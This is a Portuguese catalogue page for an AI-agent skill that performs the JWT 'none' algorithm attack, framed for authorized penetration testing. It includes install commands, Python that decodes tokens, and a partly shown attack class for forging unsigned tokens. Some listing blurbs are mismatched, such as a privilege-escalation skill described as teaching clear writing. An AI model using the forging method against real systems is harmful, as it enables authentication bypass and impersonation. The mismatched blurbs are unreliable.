performing-jwt-none-algorithm-attack
Faz seu agente testar ataques de 'algoritmo none' em JWT para contornar a verificação de assinatura.
O que ela faz
Este ataque tenta burlar a segurança de sistemas que usam tokens JWT para autenticação. Ele envia um token modificado que diz para o sistema ignorar a verificação de assinatura, permitindo que um invasor altere informações no token.
Quando usar
- ✓Ao testar a segurança de um site ou aplicativo que usa JWT.
- ✓Quando você suspeita que a verificação de assinatura do JWT pode estar falhando.
- ✓Em testes de penetração autorizados para encontrar vulnerabilidades.
Exemplo do que pedir para a IA
“Tente enviar um token JWT com o algoritmo 'none' para ver se o sistema o aceita sem assinatura.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
O ataque funciona explorando bibliotecas de JWT que aceitam um cabeçalho especial ('alg': 'none'). Isso faz com que o sistema pule a verificação da assinatura do token, permitindo que ele seja alterado.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-jwt-none-algorithm-attackOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-jwt-none-algorithm-attack/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Ataque de Algoritmo JWT None
Visão Geral
O ataque de algoritmo JWT none explora uma vulnerabilidade em bibliotecas JSON Web Token que aceitam tokens com o cabeçalho alg definido como none, contornando efetivamente a verificação de assinatura. Quando um servidor processa um JWT com "alg": "none", ele trata o token como válido sem verificar nenhuma assinatura criptográfica, permitindo que atacantes forjem tokens com reivindicações arbitrárias, como privilégios escalados, usuários impersonados ou tempos de expiração estendidos. Essa vulnerabilidade foi divulgada pela primeira vez por Tim McLean em 2015 e afetou várias bibliotecas JWT em diferentes linguagens.
Quando Usar
- Ao realizar avaliações de segurança que envolvam a execução do ataque de algoritmo jwt none
- Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados
- Ao realizar testes de segurança ou atividades de auditoria agendadas
- Ao validar controles de segurança por meio de testes práticos
Pré-requisitos
- Aplicação alvo usando JWT para autenticação ou autorização
- Capacidade de interceptar e modificar requisições HTTP (Burp Suite, mitmproxy)
- Python 3.8+ com a biblioteca PyJWT para criação de tokens
- Compreensão da estrutura JWT (Header.Payload.Signature)
- Autorização para realizar testes de segurança no alvo
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude de computador.
Estrutura JWT
Um JWT é composto por três partes codificadas em Base64URL separadas por pontos:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ. # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # Signature
Metodologia de Ataque
Passo 1: Capturar um JWT Válido
Intercepte um JWT legítimo da aplicação alvo usando Burp Suite ou as ferramentas de desenvolvedor do navegador:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Passo 2: Decodificar e Analisar o Token
import base64
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.')
# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}
# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}
Passo 3: Criar um Token Forjado com Algoritmo None
#!/usr/bin/env python3
"""Ferramenta de Ataque JWT None Algorithm
Cria tokens JWT com o algoritmo 'none' para testar vulnerabilidades de bypass
na verificação de assinatura.
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack:
# Todas as variações conhecidas do valor do algoritmo 'none'
NONE_VARIANTS = [
"none",
"None",
"NONE",
"nOnE",
"noNe",
"NoNe",
"nONE",
"nonE",
]
def __init__(self, target_url: str, original_token: str):
self.target_url = target_url
self.original_token = original_token
self.original_header, self.original_payload = self._decode_token(original_token)
def _base64url_encode(self, data: bytes) -> str:
"""Codifica em Base64URL sem preenchimento."""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
def _base64url_decode(self, data: str) -> bytes:
"""Decodifica em Base64URL com restauração de preenchimento."""
padding = 4 - len(data) % 4
if padding != 4:
data += '=' * padding
return base64.urlsafe_b64decode(data)
def _decode_token(self, token: str) -> tuple:
"""Decodifica o cabeçalho e a carga útil do JWT."""
parts = token.split('.')
header = json.loads(self._base64url_decode(parts[0]))
payload = json.loads(self._base64url_decode(parts[1]))
return header, payload
def craft_none_token(self, modified_payload: dict,
alg_variant: str = "none") -> str:
"""Cria um JWT com o algoritmo none e carga útil modificada."""
# Cria o cabeçalho com o algoritmo none
…
Perguntas frequentes
O que é JWT?
JWT (JSON Web Token) é uma forma padronizada de enviar informações de forma segura entre partes, geralmente usada para autenticação e autorização em aplicações web.
O que é o ataque 'none algorithm'?
É um ataque que explora uma falha onde o sistema aceita um token JWT mesmo sem uma assinatura válida, desde que o cabeçalho do token especifique o algoritmo 'none'.
Quais são os pré-requisitos para realizar este ataque?
É preciso ter autorização para testar o sistema, a capacidade de interceptar e modificar requisições (como com Burp Suite ou mitmproxy) e entender a estrutura básica de um JWT.
Detalhes
Descrição original do autor
Execute and test the JWT none algorithm attack, crafting tokens with the alg header set to none using PyJWT and an intercepting proxy (Burp Suite/mitmproxy) to bypass signature verification and forge arbitrary claims. Use during authorized penetration tests or security assessments of applications that use JWT for authentication or authorization, to validate that the server rejects unsigned tokens.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6087
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
cpp-testing
Faz seu agente escrever e melhorar testes para código C++. Ajuda a configurar ferramentas de teste e a corrigir erros.
affaan-m/ECC
csharp-testing
Ajuda seu agente a criar testes para código C# e .NET. Ele usa as melhores práticas para garantir que os testes sejam eficientes e confiáveis.
affaan-m/ECC
django-tdd
Faz seu agente aplicar estratégias de teste para Django com pytest-django e TDD. É útil para escrever testes robustos e garantir a qualidade do código, especialmente para APIs DRF.
affaan-m/ECC